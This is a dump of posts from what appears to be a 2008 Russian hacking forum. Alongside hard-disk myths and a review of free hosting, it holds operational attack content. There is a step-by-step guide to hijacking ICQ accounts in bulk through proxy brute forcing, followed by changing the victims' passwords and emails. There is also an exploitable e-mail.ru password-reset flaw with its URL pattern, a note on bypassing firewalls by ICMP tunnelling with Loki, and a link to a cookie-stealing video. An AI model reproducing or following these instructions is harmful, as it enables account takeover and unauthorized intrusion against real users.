/>5 * * * Превышен интервал ожидания для запроса. <br />6 * * * Превышен интервал ожидания для запроса. <br />7 * * * Превышен интервал ожидания для запроса. <br />8 2274 ms 971 ms 958 ms so-2-3-1-zar1.skt.cw.net [166.63.220.69] <br />9 928 ms 945 ms 958 ms ge-3-3-0-ycr1.skt.cw.net [166.63.220.129] <br />10 954 ms 958 ms * so-1-0-0-ycr1.cpi.cw.net [208.173.216.25] <br />11 958 ms 958 ms 971 ms so-2-0-0-ycr2.cpi.cw.net [208.173.216.2] <br />12 981 ms 958 ms 958 ms so-2-0-0-bcr1.amd.cw.net [208.173.211.233] <br />13 1059 ms 1050 ms 1049 ms dcr1.nyk.cw.net [195.2.1.3] <br />14 1050 ms 1037 ms 1036 ms 65.59.192.13 <br />15 1041 ms 1050 ms 1063 ms ge-0-3-0.bbr2.NewYork1.Level3.net [209.247.9.209] <br />16 1050 ms 1036 ms 1076 ms ge-7-0-0.edge1.NewYork1.Level3.net [64.159.4.150] <br />17 1050 ms 1063 ms 1050 ms xo-level3-oc12.NewYork1.Level3.net [209.244.160.178] <br />18 1050 ms 1062 ms 1076 ms p5-0-0.RAR1.NYC-NY.us.xo.net [65.106.3.37] <br />19 1115 ms 1523 ms 1757 ms p6-0-0.RAR2.Chicago-IL.us.xo.net [65.106.0.29] <br />20 1324 ms 1471 ms 1324 ms p1-0-0.RAR1.Dallas-TX.us.xo.net [65.106.0.34] <br />21 1141 ms 1141 ms 1141 ms p6-0-0.RAR2.LA-CA.us.xo.net [65.106.0.14] <br />22 1732 ms 1377 ms 1456 ms p4-0-0.MAR2.LasVegas-NV.us.xo.net [65.106.5.34] <br />23 1155 ms 1141 ms 1128 ms p15-0.CHR1.LasVegas-NV.us.xo.net [207.88.81.78] <br />24 1404 ms 1181 ms * 66.238.47.34.ptr.us.xo.net [66.238.47.34] <br />25 1614 ms 1378 ms 1378 ms 168.75.176.102 </p> <p>Трассировка завершена. </p> <p>В выше приведенном примере очень ярко отображается структура прохождения пакета по сети. <br />Можно предположить, что фаерволл создает некую цепочку адресов, по которым проходит наш <br />пакет... В трассировке по прыжкам 1-3 можно наблюдать, что dialup сервер фильтрует входя <br />щие пакеты, далее происходит послание пакета по сети по цепочке адресов... В конечном <br />итоге можно видеть, что наш пакет приходит к месту назначения - 168.75.176.102... В это <br />случае могу сказать, что вероятнее всего фаерволл - 66.238.47.34, хотя 100 процентных ре <br />зультатов я не даю, т.к. в этом деле нужно быть крайне внимательным... </p> <p>C. Считывание сервисных банеров. </p> <p>Ну этот способ я думаю крайне прост, хотя на данный момент крайне трудно найти такой фаер <br />волл, который бы выводил о себе информацию, но опять же &quot;чем черт не шутит&quot;... Считывание <br />банеров заключается в том, что при подключении к фаерволлу, вы получаете некое послание <br />от удаленного фаерволла... Т.е. при соединении, например 295 (порт CheckPoint Firewall), <br />вам выводиться информация о версии фаерволла, тогда вы с уверенностью можете идти искать <br />в bugtraq уязвимость в этом фаерволле, чаще всего, когда я сталкивался с фаерволлами <br />CheckPoint, мне выходила некая информация, я поначалу совсем не понимал что она <br />обозначает... А заключается она в том, что при подключении к фаерволлу CheckPoint, он вы <br />водит некую последовательность цифр, например: 30003, 30002 и т.д. Как позже я узнал, что <br />это свойственно фаерволлу CheckPoint... </p> <p>Ну вот по сути самые распространенные способы обнаружения вражеского фаерволла... Теперь <br />я хочу поведать вам несколько способов обхода обнаруженного фаерволла... <br />Итак, поехали... </p> <p><strong>[ 3. Принцип обхода ] </strong></p> <p>Начнем мы с того, что каждый фаерволл настроен на то, чтобы фильтровать пакеты, которые вы <br />посылаете, когда соединяетесь с каким-либо портом удаленной машины. А это происходит на ос <br />новании составленных правил фаерволла. Т.е. при подключении фаерволл считывает пакет и ана <br />лизирует все данные... Т.е. если ваш адрес не стоит в базе фаерволла, фаерволл не пропустит <br />вас во внутреннюю сеть... На ум приходит множество способов обхода фаерволла. Первый, пожа <br />луй самый легкий способ обхода, это сканирование подсети фаерволла на нахождение уязвимых ма <br />шин и последующим взломом их... Так же скажу, что не всегда этот способ прокатывает, т.к. хо <br />роший администратор скорее всего не будет ставить разрешение входа на всю подсеть, он скорее <br />поставит разрешение на избранные сетевые машины... </p> <p>Существует еще один очень интересный способ : Тунелирование ICMP/UDP пакетами... Оно заключа <br />ются в том, что у некоторых фаерволлов нет правила на блокирование ICMP ECHO, ICMP ECHO REPLY, <br />UDP. Все это способствует хорошей атаки... Сказу скажу, что этот способ проходит, если вы нахо <br />дитесь в подсети фаерволла. Для его осуществления вам понадобятся две программы - loki, lokid <br />(демон). Для того чтобы осуществить атаку, вам следует установить демон за фаерволлом и после <br />дующей эксплуатацией с помощью утилиты loki... </p> <p><strong>[ 4. Вывод ] </strong></p> <p>Вывод можно сделать один - нет ничего совершенного! В каждом устройстве, программе и <br />т.д. всегда найдутся способы, чтобы всячески её сломать, обойти и т.д. Конечно в данной статье <br />не представлены все способы обхода фаерволлов... Способов очень много... По мере того, как ста <br />нут появляться новые устройства, будут появляться новые способы...</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 22:13:53 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=35#p35 http://dinamit.mybb.forum/viewtopic.php?pid=34#p34 <p>Внизу есть инструкция по взлому определенного уина, но говорю сразу, что это практически не реально. Ибо взлом кучи уинов проходит по принцыпу обнаружения лохов и таких же паролей ;-) А вот определенный уин... Вообще думайте, но лучше время не тратить. </p> <p>Если хотите инструкцию в одну строчку, то вот : Берем V-ListMakeR, IPDBrute и MultiPasswordChanger и потом считаем количество взломанных асей ;-) А если надо подробнее то читаем ниже. <br />________________________________________ </p> <p>I. V-ListMaker <br />Эта прога нам нужна для того, чтоб генерить, сводить, форматировать юины/пассы большими пачками. Очень большими :). <br />1. Для начала посоветую запустить прогу и на первой вкладке GeneratoR (стоит по умолчанию) в окошечке Uinz около поля 'mask' написать '777****' (без кавычек). <br />2. Пониже, где 'count' задать интервал 7-7. <br />3. Жмем на кнопочку 'Generate'. Вводим имя файла, в который он сохранит нам список уинов, жмём enter и ждем. Обычно чуть меньше минуты. <br />Результат: получаем все юины от 7770000 до 7779999. <br />4. Создаем файл с паролями. Просто txt файл, в котором записываем, например, такие строки : <br />password <br />12345 <br />qwerty <br />5. Идем во вкладку JoineR. <br />6. Жмем Load Uins File. Выбираем наш, сгенеренный в пункте 3 файл с юинами. <br />7. Жмем Load Pass File. Выбираем наш, созданный в пункте 4 файл с паролями. <br />8. Кликаем на 'Save Result To...' и вводим имя файла, типа ser1.txt (типа серия 1). <br />9. Жмем Start и ждем пока ленивый ползунок доползет до финиша. (прога работает хорошо, генерит в отдельном потоке, поэтому мона заниматься своими делами пока генерим без всяких тормозов). <br />10. Прогу мона закрыть кружком в правом верхнем углу :). </p> <p>Результат: имеем файл с видом <br />7770000;password <br />7770000;12345 <br />7770000;qwerty <br />7770001;password <br />и так до конца ;-) </p> <p>Теперь наш файл вида Uin;pass готов, и теперь будем засовывать его ipdbrut'у. <br />________________________________________ </p> <p>II. IPDBrute <br />...создан именно для угона асей. </p> <p>1. Запускаем прогу, жмем 'Config' <br />2. Source... - Там вы указываете путь в нашему замечательному файлу ser1.txt. <br />3. Dump INcorrect... - в этот файл будут сваливаться плохие пассы. (Советую перед каждым запуском ipd очищать это дело, тк при старте он его тока тормозит.) <br />4. Dump CORRECT... - в этот файл, если повезет упадет пяток-десяток ХОРОШИХ ась. <br />В п. 3 и 4, советую не менять имена файлов (good и bad), тока приписать к ним полный путь. <br />5. Threads - потоки. Зависит от кол-ва проксей (об этом позже), то есть если проксей у вас 100, то больше 200 потоков ставить не стоит. Например для dial-up'a 80 потоков вполне достаточно. Для выделинки можно и раз в десять побольше, но и прокси серверов надо будет намного больше. <br />6. Proxies - Прокси. Файлы проксей мона надыбать везде, особая скорость проксей тут не требуется, но, разумеется, чем быстрее, тем лучше. Особо ленивым список проксей можно взять на этом сайте в разделе 'Список proxy'. <br />7. Птица 'Clean up every ... minutes'. Когда вы запускаете IPDBrute, то он вам показывает 'Proxies: 0, good: 0, alive: 0', так вот alive - это количество рабочих проксей. до которых ему удалось достучаться. Для того чтобы он стечал по неработчим проксям и сделана птица 'CleanUp'. Т.е. каждые n минут он будет очищать список проксей, и оставлять только рабочие. <br />8. Жмем ОК, а в проге 'Start'. Вот и все. И оставляем это дело работать. Каждые пару часов можно подойти и полюбоваться (огорчиться) результатами (отсутствием оных :)). <br />Результат: да или нет :). <br />Далее читают те у кого ДА, у кого НЕТ повторяют пункты I-II (не забудьте поменять пасс :)) до достижения результатов. <br />________________________________________ </p> <p>III. ICQ MultiPassword Changer. <br />...быстренько меняем User Details <br />!!! WARNING !!! <br />При массовой смене деталей вы потеряете все, что вы набрутили. Уины просто заморозят. Поэтому нефик вообще детали менять. Зашли, сменили пароль и e-mail. И успокойтесь. Вот и всё. Но особые извращенцы могут и дальше читать... </p> <p>1. Раз и навсегда вписываем инфу (Имя, Фамилия, Ник, Мыло (сразу примаком оно не становиться (хотя иногда и бывают глюки), но сделать мона потом) и пароль (советую менять на каждую пачку юинов). <br />2. Кнопку 'Settings' советую не трогать, там ниче интересного нет :). (только если у вас вариант 5) <br />3. Жмем Load Uins, выбираем файл good.txt. <br />4. Жмем старт и смотрим внимательно в логи. Если будет появляться после каждой попытки серенькая надпись 'Pass&amp;Detalies changed', то все ок. <br />5. Если другая, то после окончания начинаем с первой не смененной записи (чтоб начать с какой-то определенной записи (юина), просто в списке кликните один раз на него и нажмите старт). И так делаем пока все не смениться (обычно, у меня на 5-6 пассов 1 сходу не меняется. Чтоб избежать этих сложный махинаций, сходим в Settings и установим Timeout в два раза больше чем сейчас (не 10.000, а 20.000 или 30.000). <br />6. И не забываем делиться с нашим сайтом. Ведь он вам помог, так и вы ему помогите. Так что кусочек от взломанных асей отправляем на форум. </p> <p>Дополнительная информация, для улучшения результатов </p> <p>1. Можно взламывать используя самые протые пароли. Потому как ламеры были, ламеры едят и будут есть ;-) Для особо однаренных объясняю, что легкие пароли это : password, qwerty, 12312312, 123456, mypass, etc... <br />2. Особых извращенцам, у которых есть халявная выделинка, можно использовать словари. Тогда конечно возможность взлома возрастает в несколько раз, но если не один пароль не подойдет вы потеряете очень много времени. <br />3. IPDBrute очень много трафика кушает. Поэтому используем аккуратно и не на работе, чтобы потом шеф надавал волшебных пендюлей ;-) <br />4. Если вы видите в ipd показывается 'passwords....good: 1' или 2 и больше, не важно, не стоит рубить ее 3 пальцами. Почему? Все просто. Прога могла еще не записать хорошие пассы в файл, а если ее останавливать не кнопкой 'Stop', а 3 пальцами, то она и не запишет :). И вы останетесь без пассов. Поэтому если все-таки решились рубить, посмотрите на файл good.txt, размер его и прикиньте, соответствует он кол-ву паролей. (один шестизнак с пассом 5-8 знаков занимает 12-15 байт). Если все ок, рубите намертво. </p> <p>Спасибо за прочтение моей статейки!</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 22:12:36 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=34#p34 http://dinamit.mybb.forum/viewtopic.php?pid=32#p32 <div class="quote-box quote-main"><blockquote><p>ыыы я 3</p></blockquote></div><p>Так главное с пользой или инет!Если геймер сидит,которому кроме игр них не надо,то хоть 30 лет,всё равно дятел будет!!!</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 21:58:36 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=32#p32 http://dinamit.mybb.forum/viewtopic.php?pid=30#p30 <p>Поздравляем с днем рождения: Sasha (14 годиков)</p> <p><span style="color: red">Ребята,не стесняемся,пишем поздравления</span> :flag:&#160; :writing:&#160; :cool:<br /><span style="color: blue">Лично от меня:</span></p> mybb@mybb.ru (admin) Mon, 27 Oct 2008 00:26:18 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=30#p30 http://dinamit.mybb.forum/viewtopic.php?pid=29#p29 <p>Размер: 27134 кб<br />Скачать:<a href="http://www.xakep.ru/post/40860/email.avi" rel="nofollow" target="_blank">туточки ёпт!</a></p> <p><strong>Описание</strong></p> <p>Сей сервис вообще один большой глюк, что, однако, не сказывается на количестве их его пользователей =). Я уверен, что, покапавшись, там можно будет найти еще не одну серьезную уязвимость, т.к. та, которая продемонстрирована в видео была выявлена из-за простого человеческого желания сделать так, чтоб ЭТО работало =). ЭТО - это система смены пароля, которая в обычных условиях отказывается работать наотрез =). Ну когда Вы посмотрите видео, поймете о чем это я. И так, уязвимость закючается в том, что сменить пароль пользователя можно не будучи залогененным под этим пользователем. Страница смены пароля, по замыслу авторов, имеет вид: <a href="http://www.e-mail.ru/scripts/" rel="nofollow" target="_blank">http://www.e-mail.ru/scripts/</a> netauth.dll?cmd=passwd&amp;utoken= _ACC_@email.ru_KEY_&amp;u_token= _ACC_@e-mail.ru_KEY_ Где _KEY_ - это, судя по всему, некий идентифицирующий нас ключ, а _ACC_ - логин У меня лично это почему-то не сработало (выдало какую-то кривую ошибку идентификации). Ну вот почему мы должны додумывать за програмеров сами что они там имели ввиду? Так вот, если мы просто-напросто уберем _KEY_, то все чудесным образом заработает, что, конечно, наводит на мысль о том, что если то единственное, что инициализировало нас как залогиненного пользователя нам не пригодилось, то можно соответственно аналогичным способом менять пароли для любого аккаунта, что, собственно так и подтвердилось... Использование данная уязвимости - непаханное поле для парня, которому нечем себя занять =). Это несколько десятков ICQ номерков, ретривные мыла к множеству сайтов, аккаунтов во всевозможных системах и вообще куча-куча всего интересного =)</p> mybb@mybb.ru (admin) Mon, 27 Oct 2008 00:17:16 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=29#p29 http://dinamit.mybb.forum/viewtopic.php?pid=28#p28 <p>Поводом для написания этой статьи послужило множество заблуждений, связанных с жесткими дисками, распространяемых среди неопытных и опытных пользователей. Не смотря на то, что по этому поводу было написано уже довольно много, некоторые легенды еще не развенчаны. </p> <p><strong>Миф 1:</strong> Многократное форматирование диска может привести к его поломке. Правда: Форматирование диска не понижает его время жизни. Это не стресс для жесткого диска. Головки не касаются поверхности пластин, так что повредить диск можно только при встряске, причем, во время его работы. Вы можете форматировать свой диск хоть двадцать раз в день, и он не станет работать хуже, чем любой другой точно такой же жесткий диск. </p> <p><strong>Миф 2:</strong> Форматирование приводит к образованию &quot;какого-то&quot; слоя на поверхности пластины, вызывающего образование сбойных секторов. Правда: Форматирование не приводит к отложению каких-либо слоев на пластинах диска. Жесткий диск - это герметичное устройство, в котором маловероятно наличие пыли. Даже если бы там была пыль или какие-то частички, почему именно форматирование или любая другая операция должны способствовать отложению этих частиц на пластины? </p> <p><strong>Миф 3:</strong> Форматирование способствует быстрому износу привода головок. Правда: Форматирование происходит достаточно плавно сектор за сектороми очень маловероятно, что при таких последовательных плавных переходах что-то может повредиться. </p> <p><strong>Миф 4:</strong> Дефрагментация жесткого диска приводит к быстрому износу привода головок. Правда: Это утверждение близко к правде. Дефрагментация жесткого диска может привести к большому количеству операций поиска и перераспределения данных. Это заставляет головки переносить большие объемы данных не последовательно по всей поверхности пластин. С другойстороны, после дефрагментации данные уже не приходится искать в разных концах диска. При этом значительно уменьшается количество передвижений головок, и повышается производительность винчестера в операциях чтения/записи. Так что, с одной стороны можно сказать, что дефрагментация - это стресс для диска, но с другой стороны, после дефрагментации количество непоследовательных, резких передвижений головок должно значительно уменьшиться, а это для диска очень полезно. </p> <p><strong>Миф 5:</strong> Если на диске уже есть сбойные секторы, форматирование приведет к увеличению их количества. Правда: Если у вас на жестком диске уже есть даже небольшое количество сбойных секторов, появившихся в результате повреждений, нанесенных головками, то гарантированно будут появляться все новые и новыесбойные участки. При форматировании новые сбойные секторы появляются только потому, что программа форматирования предварительно проверяет поверхность диска и отмечает замеченные сбои. Так что, новые сбои не появляются, а проявляются. Форматирование не влияет на количество сбойных секторов, оно просто дает возможность увидеть реальную картину со сбойными участками «во всей красе». </p> <p><strong>Миф 6:</strong> Перекачивание софта из интернета уменьшает продолжительность &quot;жизни&quot; винчестера. Правда: Переписывание каких-либо программ по сети интернет никак не влияет на срок жизни винчестера. Ваш диск вращается практически постоянно, даже когда вы на него ничего не записываете и ничего с него не читаете, и с каждым оборотом, каждой операцией чтения или записи, он понемногу приближается к своей естественной &quot;смерти&quot;. </p> <p><strong>Миф 7:</strong> Перебои с питанием приводят к появлению сбойных секторов на жестком диске. Правда: Перебои с напряжением в сети не приводят к образованию сбойных секторов. При отсутствии питающего напряжения происходит автоматическая парковка головок, что исключает повреждение ими пластин диска. </p> <p><strong>Миф 8:</strong> Дешевый блок питания &quot;медленно убивает&quot; жесткий диск. Правда: Если дешевый блок питания сгорает и посылает импульс высокого напряжения на жесткий диск, то он убивает его не медленно, а практически мгновенно. Если же дешевый блок питания не сможет обеспечить достаточного уровня напряжения, диск просто не сможет нормально работать. </p> <p><strong>Миф 9:</strong> Если жесткий диск постоянно раскручивается и прекращает вращаться, это значит, что блок питания то обеспечивает достаточный уровень напряжения, то не может его обеспечить. Правда: Недостаточный уровень напряжения для питания жесткого диска приведет к его остановке и к прекращению работы компьютера. Даже если напряжение повысится до необходимого уровня, диск не заработает, и компьютер нужно будет перезагрузить. Раскрутка и остановка диска связаны с его перенастройкой. </p> <p><strong>Миф 10:</strong> Громкие щелчки, доносящиеся от жесткого диска, - это звук парковки его головок. Правда: Скорее всего, это звук, связанный с изменением температуры диска или с ударом головки о пластину. </p> <p><strong>Миф 11:</strong> За передвижение головок отвечает двигатель, который может выйти из строя при интенсивной работе. Правда: Современные приводы головок не управляются двигателями. В прошлом они действительно приводились в движение шаговым двигателем, но сейчас для этой цели используется электромагнитный механизм, а немеханический мотор. Миф 12: Частая парковка головок диска приводит к выходу из строя двигателя, отвечающего за их передвижение. Правда: Смотри </p> <p><strong>Миф 12:</strong> В дополнение можно сказать, что парковка в современных дисках происходит автоматически при отключении питания, и за это отвечает пружина. Даже если бы головки передвигались с помощью шагового двигателя, парковка никак не отразилась бы на его работоспособности. </p> <p><strong>Миф 13:</strong> Жесткий диск разгоняется только для чтения или записи, а в режиме ожидания диск перестает вращаться. Правда: В действительности пластины диска вращаются все время. </p> <p><strong>Миф 14:</strong> Лучше когда диск вращается как можно медленнее, чтобы не изнашивался двигатель. Правда: Обычно пластины раскручиваются при включении компьютера и продолжают вертеться. Наиболее тяжелая часть работы для двигателя - это именно раскручивание, а поддержание необходимой скорости вращения требует значительно меньших усилий. Если скорость вращения диска понижена, и нужно что-то записать или прочитать, диск снова надо разогнать. Именно поэтому лучше не понижать скорость вращения диска, чтобы не терять в производительности и не создавать стрессовых ситуаций для шпиндельного двигателя. </p> <p><strong>Миф 15:</strong> Некоторые сбойные участки диска можно назвать виртуальными, так как они исчезают после форматирования. Правда: Таких понятий, как виртуальные и физические сбойные секторы не существует. Сбойный сектор - это часть диска, в которой нельзя нормально что-либо записать или прочитать. Это может быть вызвано неисправным носителем или его физическим повреждением. Никаким программным способом, в том числе форматированием, этого не исправить. </p> <p><strong>Миф 16:</strong> Низкоуровневое форматирование может &quot;убрать&quot; сбойные секторы. Правда: Форматирование на низком уровне может заменить сбойные секторы секторами с резервных дорожек, существующих на любом диске, но не восстановить поврежденные участки. Естественно, при этом пострадает производительность, так как головки будут искать секторы на резервных дорожках. Появление сбойных секторов, даже если они таким образом устраняются, - это признак того, что с диском что-то не так. Даже единичный удар головок о поверхность пластин может привести к появлению мелких осколков пластин и повреждению головок. Осколки, как и поврежденная головка, могут в будущем стать причиной появления все новых и новых повреждений. Из всего этого следует сделать один важный вывод: если на вашем диске начинают появляться сбойные секторы, и вы не хотите потерять важную информацию, стоит сделать ее копию и при первой же возможности поменять диск. Жесткий диск может в такой ситуации проработать еще довольно много времени без появления новых сбойных участков, но от новых сбоев никто не застрахован. </p> <p><strong>Миф 17:</strong> Чтобы улучшить производительность, нужно форматировать жесткий диск как можно чаще. Правда: Это еще одно распространенное заблуждение. Частое форматирование не улучшит производительность диска. Если вы заметили, что производительность дисковых операций в течение нескольких месяцев сильно ухудшилась, это может быть вызвано фрагментацией данных на диске. В этом случае производительность падает из-за частой необходимости поиска частей одного и того же файла в разных частях диска во время любых операций чтения/записи. </p> <p><strong>Миф 18:</strong> Жесткий диск можно устанавливать только в горизонтальном положении. Правда: Диски можно устанавливать в любом положении - горизонтальном, вертикальном и, даже, вверх тормашками, но только под углом 90' </p> <p><strong>Миф 19: </strong>Если вы планируете устанавливать диск вертикально, то перед использованием его нужно обязательно отформатировать только в вертикальном положении. Правда: Как мы уже говорили, жесткий диск будет работать в любом положении. Нет никакой необходимости его форматировать именно в той позиции, в которой он будет использоваться.</p> mybb@mybb.ru (admin) Mon, 27 Oct 2008 00:11:24 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=28#p28 http://dinamit.mybb.forum/viewtopic.php?pid=27#p27 <p>К статье про mail.ru. Крадем куки в чате. Становимся модераторами chat.mail.ru.</p> <p>Видео о том как взломать можно скачать <a href="http://www.mediafire.com/?61tm19dxuzm" rel="nofollow" target="_blank">ТУТ</a></p> mybb@mybb.ru (admin) Sun, 26 Oct 2008 23:55:18 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=27#p27 http://dinamit.mybb.forum/viewtopic.php?pid=26#p26 <p>wwwfatal.ru </p> <p>Название не внушает оптимизма. Как показывает практика - не зря! В последнее время все об этом хостинге отзываются очень плохо! И сервис, говорят, плохой, и сервер 12 часов в сутки прегружен, а в остальное время находится в дауне... Но зато дают достаточно много места (100 МБ), возможность использовать CGI, php, perl, SSI, C/C++, .htaccess и .htpasswd. Но я вас предупредил... </p> <p>IpHosting.ru </p> <p>Дисковое пространство всего 50Мб, но может быть увеличено по заявке. Хост дает целую россыпь услуг: веб сервер Apache, php4, база MySQL (если обоснуете), поддержка (CGI) C, C++, sh, Perl. И еще куча всяких примочек вроде архивирования, расширенные опции по работе с почтой, статистика, SSL (по запросу), антивирусы и прочее. Бесплатный хостинг предлагается только владельцам любого платного домена (зона ru, su, ua, by, pp.ru, net.ru, com.ru, org.ru или региональная и т.п)! Или иметь уже готовый сайт на другом бесплатном хостинге. Сайт, который претендует на бесплатный хостинг должен быть так или иначе связан с деловой тематикой. Всякий развлекательный контент, например mp3 или обои, запрещен. <br />Однако за все надо платить, так что хозяин сайта будет вынужден поделиться немалой частью своих рекламных площадей. Во-первых, на каждой странице сверху надо разместить рекламный баннер, а на главной еще и текстовую ссылку. Во-вторых, каждый сайт подключается к какому-то подозрительному каталогу ссылок. <br />Как итог: Обещают много ресурсов, но и требуют немалого. Как ни странно, это даже к лучшему - больше вероятность хорошего отношения к клиенту. </p> <p><a href="http://www.best-host.ru" rel="nofollow" target="_blank">http://www.best-host.ru</a> </p> <p>Оставляет достаточно приятное впечатление. Очень радует полный набор услуг: MySql, php, perl, SSI, FTP, E-Mail, SSL, &quot;неограниченный&quot; трафик и много еще чего... Не радует просто смешное дисковое пространство - всего 5 Мб. Явно расчет на приобретение доп. места за деньги (дисковое пространство свыше 5 Мегабайт оплачивается по 10 центов за каждый использованный Мегабайт). И еще не очень радует рекламная полоска внизу страниц как обязательное условие. Слышал про высокую надежность данного хостинга. Кроме того, администрация обещает: &quot;При наличии значительных нагрузок на сервер с доменов Вашего аккаунта Вам НЕ будет предложено перейти на платную основу. Более того, высокопосещаемые проекты наборот, приветствуются! В особых случаях мы даже можем уменьшить рекламную нагрузку на аккаунт.&quot; Резюме: неплохой хостинг. </p> <p><a href="http://www.jino-net.ru/" rel="nofollow" target="_blank">http://www.jino-net.ru/</a> </p> <p>Обещают адрес вида логин.jino-net.ru навсегда(хм, чтож, я думаю заманчиво), 70 МБ на диске, использование MySQL (10 Мб), SSI, FTP, PHP5!, а также подключить и пользоваться приложениями (гостевые книги, форумы, интернет-магазины, новостные ленты, галереи...), уже установленными на сервере. Похоже, на данный момент один из лучших кандидатов в обзоре. И по надежности, говорят, очень хорош. Но, вот незадача, на момент написания регистрация была приостановлена. На форуме администрация клятвенно обещает все поправить через недельку, так что загляните обязательно. </p> <p><a href="http://hosting.promostudio.ru/" rel="nofollow" target="_blank">http://hosting.promostudio.ru/</a> </p> <p>Хостинг представляет шикарные возможности (MySQL, PHP, PERL), да еще и регистрируют для вас бесплатно домен в зонах com.ru, net.ru, org.ru, pp.ru! Конечно, бесплатный сыр бывает только в мышеловке, так что к вашему сайту будут предъявлены определенные требования: вы должны оставить не менее 100 постов на их форуме, разработка сайта в течении недели, блок ссылок на каждой странице сайта, вы будете работать над раскруткой Вашего сайта в сети Интернет и через 2 месяца его тИЦ будет не менее 50 единиц. И… бесплатный сыр будет всего 9 месяцев, затем вам нужно будет перейти на платный. Не наш выбор, в общем, а жаль - сервисы дают хорошие. </p> <p><a href="http://sbn.bz/" rel="nofollow" target="_blank">http://sbn.bz/</a> </p> <p>Дисковое пространство 60МБ, конструктор сайта, возможность использования модулей (за плату) и расширение дискового пространства также за деньги. Нет доступа по ftp! На счет рекламы сказано: &quot;мы оставляем за собой право размещать на страницах Вашего сайта рекламную информацию без ущерба для содержания страниц Вашего проекта&quot; <br />Стоит взглянуть! </p> <p><a href="http://www.parking.ru/" rel="nofollow" target="_blank">http://www.parking.ru/</a> </p> <p>Достаточно необычный хостинг. Как сказано на сайте, услуга создана для популяризации хостинга на Windows-платформе. Прямо указано, что сайты отбирают тематические (компьютеры, IT, интернет, бизнес), на свой вкус, но услуги предоставляют на том же уровне, что и коммерческим клиентам. PARKING.RU НЕ поддерживает технологии mySQL, PHP! Резервируют возможность размещения на вашем ресурсе своих материалов, но только по согласованию с вами. Заявки на размещение домашних страниц, корпоративных сайтов рекламного характера, а также тематических ресурсов, посвященных эротике и политике, рассматриваться не будут. Резюме: без базы SQL и php малоинтересен, но взглянуть стоит </p> <p><a href="http://www.bestof.ru/" rel="nofollow" target="_blank">http://www.bestof.ru/</a> </p> <p>И снова интересный кандидат! Обещают просто золотые горы (а я к этому отношусь с подозрением...)! ВЫ ВЫБИРАЕТЕ ЧТО ВАМ НУЖНО! Иначе говоря, неограниченное пространство, базы данных, языки программирования и прочие прелести платного хостинга на платформе в Москве на высокоскоростном канале. Ну прямо сказочно, не правда ли? Конечно придется расплачиваться: баннерами на странице (причем не так уж много для такого сервиса) Однако, если ваш ресурс сочтут уникальным, то хостинг дадут вообще без рекламы! Также хост без рекламы обещают участникам их клуба. Кроме того, клятвенно обещают стабильные серверы и индивидуальный подход для всех клиентов и постоянную доступность службы поддержки! Резюме: Если все что пишут правда - идеальный бесплатный хостинг. Вам осталось только проверить Потом мне расскажите </p> <p><a href="http://onlinehoster.net/" rel="nofollow" target="_blank">http://onlinehoster.net/</a> </p> <p>Далее новички в нашем обзоре. Это - первый из них. За бесплатно компания предоставит PHP,CGI,MYSQL и 300 МБ трафика. Все бы ничего, но места на диске всего 10 МБ. Поэтому, хост пригоден лишь для тестирования своих скриптов и прочих практических занятий по веб-программированию. </p> <p><a href="http://www.e2e.ru/" rel="nofollow" target="_blank">http://www.e2e.ru/</a> </p> <p>Очень скромный сайт этой конторы содержит, тем не менее, достаточно интересную информацию о бесплатном хостинге. В зависимости от посещаемости будущего проекта дают разный набор услуг, но все они включают Php, MySql, немало дискового пространства и трафика. В общем, есть где развернуться. Жаль только, что sendmail выключен, а на каждую страницу надо будет установить баннер. Вывод: неплохой, достойный внимания хостинг. <br /><a href="http://www.addr.ru/" rel="nofollow" target="_blank">http://www.addr.ru/</a> <br />Сервис достаточно молод, но сайт сделан добротно и впечатление производит положительное. Что касается технических характеристик, то всего за одну текстовую ссылку на главной странице вашего сайта вы получите домен вида *.addr.ru, 50 МБ на диске (возможно увеличение), FTP, PHP, SSI, Cron, поддержку mySQL, субдоменов, доменов второго уровня, почтовых сервисов POP3, SMTP и еще кучу всяких плюшек, вплоть до бесплатного домена второго уровня для перспективных проектов. Ух! Не знаю уж как на деле, но на словах все просто замечательно. Жду ваших мнений в комментариях! </p> <p><a href="http://www.yard.ru/" rel="nofollow" target="_blank">http://www.yard.ru/</a> </p> <p>Вашему вниманию предлагается 4 вида доменных имен, а именно yard.ru, pud.ru, subs.ru, vip.su, vio.ru, а так же полный список услуг для данного вида хостинга. <br />При регистрации вы получаете FTP доступ для размещения вашего сайта, поддержку PHP, Perl, CGI скриптов, а так же e-mail аккаунт вида имя@ваш.домен с возможностью использования web-интерфейса. Никаких shell и конструкторов сайта. Взамен просят разместить рекламу, что, в общем, не удивительно. Выглядит неплохо, но шаблонный сайт и орфографические ошибки заставляют меня быть настороже, чего и вам желаю. </p> <p><a href="http://www.alfaspace.net/" rel="nofollow" target="_blank">http://www.alfaspace.net/</a> </p> <p>Какой-то кустарный на вид сайт, но предлагают 100 мегабайт места с поддержкой PHP и даже базу mySQL за 200 постов в форуме. В качестве платы за использование сервиса вас проят установить несколько ссылок внизу ваших страниц. Говорят красиво, а как на самом деле и стоит ли верить словам - решайте сами и пишите мнения в комментариях. </p> <p><a href="http://hostow.net/" rel="nofollow" target="_blank">http://hostow.net/</a> </p> <p>Сайт с этим немного брутальным названием обязуется предоставить то, что доступно только на платных хостингах. А именно: MySQL, PHP, PERL, SSI, почта и что-то еще, цитирую, &quot;доступно только на платных хостингах&quot; За тикие чудеса просят поболтать в форуме, разместить блок ссылок, да еще поработать над раскруткой сайта, чтобы через 2 месяца его тИЦ стал не менее 50. Страничка сделана красиво и правильно, так что я смею надеяться, что сервис заслуживает вашего внимания. </p> <p><a href="http://onepage.ru" rel="nofollow" target="_blank">http://onepage.ru</a> </p> <p>Вот где поистине странный в своем великолепии сервис! Сейчас буду перечислять, а вы загибайте пальцы. Сразу оглушу - неограниченное дисковое пространство. Далее - PHP, Perl, CGI, Python, GD, mod_rewrite, .htaccess, WAP/WML, XML. Поддерживаются базы MySQL, PostgreSQL + веб-интерфейсы к СУБД phpmyadmin и pgmyadmin. Самая убойная возможность - Fantastico. Это система быстрой установки скриптов. Например для установки последней версии 